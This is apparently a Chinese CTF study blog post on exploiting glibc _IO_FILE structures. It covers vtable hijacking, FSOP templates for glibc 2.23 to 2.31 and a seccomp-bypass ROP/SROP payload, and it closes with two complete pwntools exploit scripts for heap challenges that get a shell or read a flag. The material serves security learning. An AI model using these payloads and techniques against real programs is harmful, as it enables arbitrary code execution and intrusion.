_IO_FILE结构体利用 首先明确我们利用的_IO_FILE 的结构是怎样的,代码如下,先是定义了_IO_list_all ,定义如下
1 extern struct _IO_FILE_plus *_IO_list_all ;
很明显可以知道IO_list_all 是一个_IO_FILE_plus 类型的指针,而IO_FILE_plus 的定义如下
1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable ; };
上面的代码又告诉我们,每个_IO_FILE_plus 又包含了两个内容分别是_IO_FILE file 和*vtable ,其中vtable又是_IO_jump_t 类型的指针
IO_FILE file结构如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain /*这个用来链接下一个FILE 结构 0x68 */ int _fileno ; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
在我的理解下,在程序启动时FILE结构体会通过struct _IO_FILE *_chain 链接成为一个表,在x64位下chain的偏移为0x60 ,而链表头部用_IO_list_all 指针表示。
则有一开始的顺序为_IO_list_all ->stderr ->stdout ->stdin 。在程序的bss段,我们能找到stderr\stdout\stdin等符号,这些符号只是指向了FILE的结构的指针;而真正的符号如下
1 2 3 4 _IO_2_1_stderr_ _IO_2_1_stdout_ _IO_2_1_stdin_ 上面三个符号,每一个都是被_IO_FILE_plus定义的,即每一个都包含了_IO_FILE file和*vtable
这里借助其他师傅的博客参考了_IO_FILE_plus的各个位移记录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 0x0 _flags0x8 _IO_read_ptr0x10 _IO_read_end0x18 _IO_read_base0x20 _IO_write_base0x28 _IO_write_ptr0x30 _IO_write_end0x38 _IO_buf_base0x40 _IO_buf_end0x48 _IO_save_base0x50 _IO_backup_base0x58 _IO_save_end0x60 _markers0x68 _chain0x70 _fileno0x74 _flags20x78 _old_offset0x80 _cur_column0x82 _vtable_offset0x83 _shortbuf0x88 _lock0x90 _offset0x98 _codecvt0xa0 _wide_data0xa8 _freeres_list0xb0 _freeres_buf0xb8 __pad50xc0 _mode0xc4 _unused20xd8 vtable
vtable结构如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct _IO_jump_t { JUMP_FIELD(size_t , __dummy); JUMP_FIELD(size_t , __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
vtable是_IO_jump_t类型的指针,_IO_jump_t中保存了一些函数指针,在后面我们会看到在一系列标准IO函数中会调用这些函数指针,该类型在libc文件中的导出符号是_IO_file_jumps。
简单记录一些C函数对应调用了_IO_jump_t的函数
printf/puts 最终会调用_IO_file_xsputn
fclose 最终会调用_IO_FILE_FINISH
fwrite最终会调用_IO_file_xsputn
fread 最终会调用_IO_fiel_xsgetn
scanf/gets最终会调用_IO_file_xsgetn
通常会将_IO_overflow_t,改为system或onegadget地址完成利用 。
这里记录两个特别的调用,就是调用exit()的时候会进行如下的调用
1 exit (0 ) ==> __run_exit_handlers ==> _IO_cleanup ==> _IO_flush_all_lockp ==> IO_file_overflow ==> malloc .....
1 2 3 4 malloc 发生错误时调用->malloc_printerr打印错误信息->_IO_flush_all_lockp-> _IO_OVERFLOW (当满足下面条件时,会执行最后调用OVERFLOW)fp->_mode > 0 _IO_vtable_offset (fp) == 0 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
两种利用_IO_FILE的方式(2.23版本下) 首先是对vtable进行利用(两种劫持方法) 第一种 直接改写vtable的内容,即是_IO_jump_t结构体里面的函数;POC如下
1 2 3 4 5 6 7 8 9 10 11 int main (void ) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt" ,"rw" ); vtable_ptr=*(long long *)((long long )fp+0xd8 ); vtable_ptr[7 ]=0x41414141 printf ("call 0x41414141" ); }
上诉代码表明了,我们可以直接给vtable的函数参数,一般某个函数的确定是依靠我们使用的IO函数来确定的;上述代码中,调用了printf函数,而printf最终会调用_IO_file_xsputn,而该函数在_IO_jump_t中的偏移为7,即vtavle[7]。
xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。
利用这点可以实现给劫持的 vtable 函数传參,比如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #define system_ptr 0x7ffff7a52390; int main (void ) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt" ,"rw" ); vtable_ptr=*(long long *)((long long )fp+0xd8 ); memcopy(fp,"sh" ,3 ); vtable_ptr[7 ]=system_ptr fwrite("hi" ,2 ,1 ,fp); }
fwrite会调用xsputn,即vtable[7]。即最后应该是system(“hi”,2,1,fp)。
第二种 伪造vtable,手动构造vtable的函数;POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #define system_ptr 0x7ffff7a52390; int main (void ) { FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt" ,"rw" ); fake_vtable=malloc (0x40 ); vtable_addr=(long long *)((long long )fp+0xd8 ); vtable_addr[0 ]=(long long )fake_vtable; memcpy (fp,"sh" ,3 ); fake_vtable[7 ]=system_ptr; fwrite("hi" ,2 ,1 ,fp); }
我们首先分配一款内存来存放伪造的 vtable,之后修改_IO_FILE_plus 的 vtable 指针指向这块内存。因为 vtable 中的指针我们放置的是 system 函数的地址,因此需要传递参数 “/bin/sh” 或 “sh”。
因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。
同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。
FSOP(2.23版本) 个人理解就是,通过unsorted bin attack 向_IO_list_all里面写入一个地址,通常是main_arena+96,而该地址好像是small bin[4]的头;然后我们通过堆溢出或则其它的手段,构造一个假的_IO_FILE,并且把它的vtable改写为我们能够任意写的地址,然后把_IO_overflow改为system或者onegadget;如果改为system,就需要在假的_IO_FILE结构的flag填充为/bin/sh,因为调用vtable的时候,会将它的_IO_FILE_plus
地址当作第一个参数传递
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
当 libc 执行 abort 流程时
当执行 exit 函数时
当执行流从 main 函数返回时
当 glibc 检测到内存错误时,会依次调用这样的函数路径:malloc_printerr ->
libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
利用条件
伪造 fp->_mode = 0, fp->_IO_write_ptr > fp->_IO_write_base通过验证
利用模板 x64位 1 2 3 4 5 6 7 8 stream = "/bin/sh\x00" +p64(0x61 ) stream += p64(0xDEADBEEF )+p64(IO_list_all-0x10 ) stream +=p64(1 )+p64(2 ) stream = stream.ljust(0xc0 ,"\x00" ) stream += p64(0 ) stream += p64(0 ) stream += p64(0 ) stream += p64(vtable_addr)
x32位 1 2 3 4 5 6 7 8 stream = "sh\x00\x00" +p32(0x31 ) stream += ";$0\x00" +p32(IO_list_all-0x8 ) stream +=p32(1 )+p32(2 ) stream = stream.ljust(0x88 ,"\x00" ) stream += p32(0 ) stream += p32(0 ) stream += p32(0 ) stream += p32(vtable_addr)
64位下seccomp禁用execve系统调用的构造模板 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 io_list_all = libc_base+libc.symbols['_IO_list_all' ] setcontext = libc_base+libc.symbols['setcontext' ] mprotect = libc_base+libc.symbols['mprotect' ] Open = libc_base+libc.symbols['open' ] Read = libc_base+libc.symbols['read' ] Write = libc_base+libc.symbols['write' ] pop_rdi_ret = 0x0000000000400d93 pop_rsi_ret = libc_base+0x00000000000202e8 pop_rdx_ret = libc_base+0x0000000000001b92 pop_rdi_rbp_ret = libc_base+0x0000000000020256 pop_three_ret = 0x0000000000400d8f ret = 0x00000000004008d9 context.arch = 'amd64' shellcode = asm(shellcraft.amd64.linux.cat('flag' )) rop = flat( p64(pop_rdi_ret), p64(current_io_chunk&~0xfff ), p64(pop_rsi_ret), p64(0x1000 ), p64(pop_rdx_ret), p64(7 ), p64(mprotect), ) rop += p64(current_io_chunk+0x30 +len (rop)+8 )+shellcode fake_vtable = current_io_chunk+0xe0 -0x18 payload = p64(0 ) + p64(0x61 ) payload += p64(0xddaa ) + p64(io_list_all-0x10 ) payload += p64(2 ) + p64(3 ) payload += rop payload = payload.ljust(0xa0 ,'\x00' ) payload += p64(current_io_chunk+0x30 ) payload += p64(ret) payload = payload.ljust(0xd8 ,'\x00' ) payload += p64(fake_vtable) payload += p64(setcontext+53 )
例题:houseoforange-hitcon-2016 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *context(log_level='debug' ,os='linux' ,arch='amd64' ) p = process('./1' ) elf =ELF('./1' ) libc = ELF('/home/lol/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) offset = libc.symbols["__malloc_hook" ] + 0x10 one_gadget=[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] def build (length,name,price ): p.recvuntil("Your choice : " ) p.sendline("1" ) p.recvuntil("Length of name :" ) p.sendline(str (length)) p.recvuntil("Name :" ) p.send(name) p.recvuntil("Price of Orange:" ) p.sendline(str (price)) p.recvuntil("Color of Orange:" ) p.sendline("4" ) def see (): p.recvuntil("Your choice : " ) p.sendline("2" ) def upgrade (length,name,price ): p.recvuntil("Your choice : " ) p.sendline("3" ) p.recvuntil("Length of name :" ) p.sendline(str (length)) p.recvuntil("Name:" ) p.send(name) p.recvuntil("Price of Orange:" ) p.sendline(str (price)) p.recvuntil("Color of Orange:" ) p.sendline("4" ) build(0x70 ,'a' *0x8 ,32 ) payload = b'b' *0x78 +p64(0x21 )+p64(0xa0 )+p64(0x22 )+b'c' *0x8 +p64(0x0f41 ) upgrade(len (payload),payload,0xa0 ) build(0x1000 ,'d' *100 ,88 ) build(0x400 ,'\x78' ,88 ) see() p.recvuntil("Name of house : " ) base=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) -88 -offset-0x600 print (hex (base))one_gadget=base +one_gadget[0 ] io_list_all = base +libc.symbols['_IO_list_all' ] sys=base+libc.sym['system' ] vtable = base+libc.sym['_IO_2_1_stderr_' ]+0xd8 payload1 ='c' *0x10 +'\x78' upgrade(0x11 ,payload1,88 ) see() p.recvuntil('c' *0x10 ) heap = u64(p.recvuntil('\n' ).strip().ljust(8 , b'\x00' ))-0x58 heap_base = heap-0x120 print (hex (heap_base))payload2 =b'a' *0x400 +p64(0 )+p64(0x21 )+p32(0x58 )+p32(0x22 )+p64(0 ) fake_file = b"/bin/sh\x00" +p64(0x61 )+p64(0 )+p64(io_list_all-0x10 ) fake_file +=p64(0 )+p64(1 ) fake_file = fake_file.ljust(0xc0 ,b'\x00' ) fake_file += p64(0 ) * 3 fake_file += p64(heap_base+0x630 ) fake_file += p64(0 ) * 3 fake_file += p64(sys) payload2 += fake_file upgrade(len (payload2), payload2, 88 ) p.recvuntil("Your choice : " ) p.sendline('1' ) gdb.attach(p) sleep(1 ) p.interactive()
FSOP(2.24版本) 个人理解就是,vtable不能随便改为我们的任意写地址,需要改为在stop_IO_vtables 和 start_libc_IO_vtables 之间;满足这个条件的有IO_str_jumps 与**__IO_wstr_jumps**;所以在2.24版本中,我们需要将假_IO_FILE的vtable地址改为str_jumps或者wstr_jumps。
libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
vtable必须要满足 在 stop_IO_vtables 和 start_libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。有两种利用方式如下:
利用__IO_str_jumps中的_IO_str_finsh函数
利用__IO_str_jumps中的_IO_str_overflow函数
IO_str_jumps结构如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const struct _IO_jump_t _IO_str_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), #这个函数会调用FILE+0xe0 处的地址 JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
其中 IO_str_overflow 函数会调用 FILE+0xe0处的地址。这时只要我们将虚表覆盖为 IO_str_jumps将偏移0xe0处设置为one_gadget即可。
还有一种就是利用io_finish函数,同上面的类似, io_finish会以 IO_buf_base处的值为参数跳转至 FILE+0xe8处的地址。执行 fclose( fp)时会调用此函数,但是大多数情况下可能不会有 fclose(fp),这时我们还是可以利用异常来调用 io_finish,异常时调用 IO_OVERFLOW
是根据IO_str_overflow在虚表中的偏移找到的, 我们可以设置vtable为IO_str_jumps-0x8异常时会调用io_finish函数。
2.23-2.24总结利用 共同点,都需要通过调用 _IO_flush_all_lockp()函数来触发,有三种情况。
当 libc 执行 abort 流程时。
当执行流从 main 函数返回时
当执行 exit 函数时。
当 glibc 检测到内存错误时,会依次调用这样的函数路径:malloc_printerr ->libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
2.23版本下FSOP,个人理解就是,通过unsorted bin attack 向_IO_list_all里面写入一个地址,通常是main_arena+96,而该地址好像是small bin[4]的头;然后我们通过堆溢出或则其它的手段,构造一个假的_IO_FILE,并且把它的vtable改写为我们能够任意写的地址,然后把_IO_overflow改为system或者onegadget;如果改为system,就需要在假的_IO_FILE结构的flag填充为/bin/sh,因为调用vtable的时候,会将它的_IO_FILE_plus
地址当作第一个参数传递。
2.24版本以上2.31以下,个人理解就是,vtable不能随便改为我们的任意写地址,需要改为在stop_IO_vtables 和 start_libc_IO_vtables 之间;满足这个条件的有IO_str_jumps 与**__IO_wstr_jumps**;所以在2.24版本中,我们需要将假_IO_FILE的vtable地址改为str_jumps或者wstr_jumps。利用条件,同上面一样,但是需要注意vtable地址的指向,以及注意将FILE+0xe0处的地址改为onegadget。原因是IO_str_overflow函数会调用FILE+0xe0的地址。
2.31版本下的IO_FILE利用
2.32下的io_str_overflow 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 int _IO_str_overflow (FILE *fp, int c) { int flush_only = c == EOF; size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t ) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; }
可以看到程序里面有malloc,memcpy,free等函数,并且参数我们都可以控制因此可以利用这一点来进行非预期的堆块申请释放和填充,而且我们看一下IO_str_overflow的汇编代码可以看到一个有意思的位置:
亦可以直接使用IDA查看libc-2.31.so搜索IO_str_overflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 0x7ffff7e6eb20 <__GI__IO_str_overflow>: repz nop edx 0x7ffff7e6eb24 <__GI__IO_str_overflow+4 >: push r15 0x7ffff7e6eb26 <__GI__IO_str_overflow+6 >: push r14 0x7ffff7e6eb28 <__GI__IO_str_overflow+8 >: push r13 0x7ffff7e6eb2a <__GI__IO_str_overflow+10 >: push r12 0x7ffff7e6eb2c <__GI__IO_str_overflow+12 >: push rbp 0x7ffff7e6eb2d <__GI__IO_str_overflow+13 >: mov ebp,esi 0x7ffff7e6eb2f <__GI__IO_str_overflow+15 >: push rbx 0x7ffff7e6eb30 <__GI__IO_str_overflow+16 >: sub rsp,0x28 0x7ffff7e6eb34 <__GI__IO_str_overflow+20 >: mov eax,DWORD PTR [rdi] 0x7ffff7e6eb36 <__GI__IO_str_overflow+22 >: test al,0x8 0x7ffff7e6eb38 <__GI__IO_str_overflow+24 >: jne 0x7ffff7e6eca0 <__GI__IO_str_overflow+384 > 0x7ffff7e6eb3e <__GI__IO_str_overflow+30 >: mov edx,eax 0x7ffff7e6eb40 <__GI__IO_str_overflow+32 >: mov rbx,rdi 0x7ffff7e6eb43 <__GI__IO_str_overflow+35 >: and edx,0xc00 0x7ffff7e6eb49 <__GI__IO_str_overflow+41 >: cmp edx,0x400 0x7ffff7e6eb4f <__GI__IO_str_overflow+47 >: je 0x7ffff7e6ec80 <__GI__IO_str_overflow+352 > 0x7ffff7e6eb55 <__GI__IO_str_overflow+53 >: mov rdx,QWORD PTR [rdi+0x28 ] <---- 0x7ffff7e6eb59 <__GI__IO_str_overflow+57 >: mov r14,QWORD PTR [rbx+0x38 ] 0x7ffff7e6eb5d <__GI__IO_str_overflow+61 >: mov r12,QWORD PTR [rbx+0x40 ] 0x7ffff7e6eb61 <__GI__IO_str_overflow+65 >: xor ecx,ecx 0x7ffff7e6eb63 <__GI__IO_str_overflow+67 >: mov rsi,rdx 0x7ffff7e6eb66 <__GI__IO_str_overflow+70 >: sub r12,r14 0x7ffff7e6eb69 <__GI__IO_str_overflow+73 >: cmp ebp,0xffffffff 0x7ffff7e6eb6c <__GI__IO_str_overflow+76 >: sete cl 0x7ffff7e6eb6f <__GI__IO_str_overflow+79 >: sub rsi,QWORD PTR [rbx+0x20 ] 0x7ffff7e6eb73 <__GI__IO_str_overflow+83 >: add rcx,r12 0x7ffff7e6eb76 <__GI__IO_str_overflow+86 >: cmp rcx,rsi 0x7ffff7e6eb79 <__GI__IO_str_overflow+89 >: ja 0x7ffff7e6ec4a <__GI__IO_str_overflow+298 > 0x7ffff7e6eb7f <__GI__IO_str_overflow+95 >: test al,0x1 0x7ffff7e6eb81 <__GI__IO_str_overflow+97 >: jne 0x7ffff7e6ecc0 <__GI__IO_str_overflow+416 > 0x7ffff7e6eb87 <__GI__IO_str_overflow+103 >: lea r15,[r12+r12*1 +0x64 ]
可以看到在调用malloc之前的0x7ffff7e6eb55 位置rdx 被赋值为**[rdi+0x28],而此时的rdi恰好指向我们伪造的IO_FILE_plus的头部,而在glibc2.29的版本上setcontext的利用从以前的rdi变为了rdx,因此我们可以通过这个位置来进行新版下的setcontext,进而实现 srop**,具体做法是利用非预期地址填充将malloc_hook填充为setcontext,这样在我们进入io_str_overflow时首先会将rdx赋值为我们可以控制的地址,然后在后面malloc的时候会触发setcontext,而此时rdx已经可控,因此就可以成功实现srop 综上可知参数对应关系为:
1 2 3 4 5 _flags = 0 _IO_write_ptr = 用于srop的地址(此时同时满足了fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base) new_buf = malloc (2 * (_IO_buf_end - _IO_buf_base ) + 100 ) memcpy (new_buf,_IO_buf_base,_IO_buf_end - _IO_buf_base)free (_IO_buf_base)
个人总结2.31IO利用如下 通过large bin attack或者tcache attack或者unsorted bin attack,可以更改_IO_list_all,或者直接任意写到 _IO_2_1_stdout_,来伪造一个fake_io达到我们的目的,然后通过向malloc_hook写入setcontext+61;在2.31版本下,setcontext的参数从rdi变成了rdx;而在2.31下io_str_overflow汇编中在调用malloc前存在一个
mov rdx,QWORD PTR [rdi+0x28],而此时rdi正好指向我们构造的IO_FILE_plus,即是有将我们构造的IO_FILE_plus+0x28处指向我们的srop的地址。
pwnhub公开赛一道题目为例 moregrilfriends
exp是直接用的这位师傅 的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 from pwn import *context(os='linux' ,arch='amd64' ) elf = ELF("./moregirlfriend" ) libc = ELF('./libc-2.31.so' ) loacl = 1 context.log_level = 'debug' if loacl: p = process("./moregirlfriend" ) else : p = remote("node4.buuoj.cn" ,"29242" ) def choice (idx ): p.sendlineafter("wow:" ,str (idx)) def add (idx,size,data ): choice(1 ) p.sendlineafter("more one?" ,str (idx)) p.sendlineafter("Height?" ,str (size)) p.sendlineafter("girlfriend?" ,data) def free (): choice(3 ) def delete (num,idx=[] ): choice(2 ) p.sendlineafter("leave you?" ,str (num)) for i in range (num): p.sendlineafter("Which girlfriend?" ,str (idx[i])) free() add(0 ,0x450 ,"0" ) add(1 ,0x450 ,"1" ) delete(1 ,[0 ]) add(0 ,0x450 ,"0" *8 ) delete(1 ,[0 ]) p.recvuntil("0" *8 ) addr = u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' )) libc_base = addr-libc.sym['__malloc_hook' ] - 0x10 - 96 log.success("libc_base ==> " +hex (libc_base)) delete(1 ,[1 ]) for i in range (11 ): add(i,0x68 ,str (i)*3 ) delete(2 ,[1 ,2 ]) delete(8 ,[3 ,4 ,5 ,6 ,7 ,8 ,0 ,9 ]) p.recvuntil("9 has left you." ) heap = u64(p.recvuntil('\x55' ).ljust(8 ,'\x00' )) >> 8 heap_base = heap & 0xfffffffff000 log.success("heap_base ==> " +hex (heap_base)) malloc_hook = libc_base+libc.sym['__malloc_hook' ] malloc_hook_base = malloc_hook & 0xFFFFFFFFF000 setcontext = libc_base+libc.sym['setcontext' ] mprotect = libc_base+libc.sym['mprotect' ] stdin = libc_base+libc.sym['_IO_2_1_stdin_' ] vtable = libc_base+0x1ED560 for i in range (7 ): if i == 6 : add(6 ,0x68 ,p64(0 )+p64(0x291 )) else : add(i,0x68 ,"=" *0x20 +"=[" +str (i)+"]=" ) add(7 ,0x68 ,p64(heap_base+0x320 )) add(11 ,0x68 ,"11" ) add(12 ,0x68 ,'12' ) add(13 ,0x68 ,'13' ) ''' CHUNK[13] 0x0000000000000000 0x0000000000000071 0x0000000000000000 0x0000000000000291 <- CHUNK_PTR[6] 0x0000000000003331 0x0000000000000000 <- CHUNK_PTR[13] 0x0000000000000000 0x0000000000000000 ''' add(14 ,0x280 ,"14" ) delete(3 ,[14 ,13 ,6 ]) add(6 ,0x68 ,p64(0 )+p64(0x291 )+p64(stdin)) add(13 ,0x280 ,"13" ) fake_io = p64(0xfbad1800 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(stdin+0xe0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(vtable) srop_mprotect = SigreturnFrame() srop_mprotect.rsp = malloc_hook + 0x8 srop_mprotect.rdi = malloc_hook_base srop_mprotect.rsi = 0x1000 srop_mprotect.rdx = 7 srop_mprotect.rip = libc_base + libc.sym['mprotect' ] mpro = ''' xor rdi,rdi mov rsi,%d mov rdx,0x1000 xor rax,rax syscall jmp rsi ''' %malloc_hook_basepayload = fake_io + str (srop_mprotect) + p64(0 )*3 + p64(setcontext + 61 ) + p64(malloc_hook + 0x10 ) + asm(mpro) add(14 ,0x288 ,payload) choice(2 ) p.sendlineafter("you?\n" ,str (10 )) shellcode = shellcraft.amd64.open ("flag" ) shellcode += shellcraft.amd64.read(3 ,malloc_hook_base,0x20 ) shellcode += shellcraft.amd64.write(1 ,malloc_hook_base,0x20 ) p.sendline(asm(shellcode)) p.interactive()
最后附上参考文章的链接
GD师傅
一梦不醒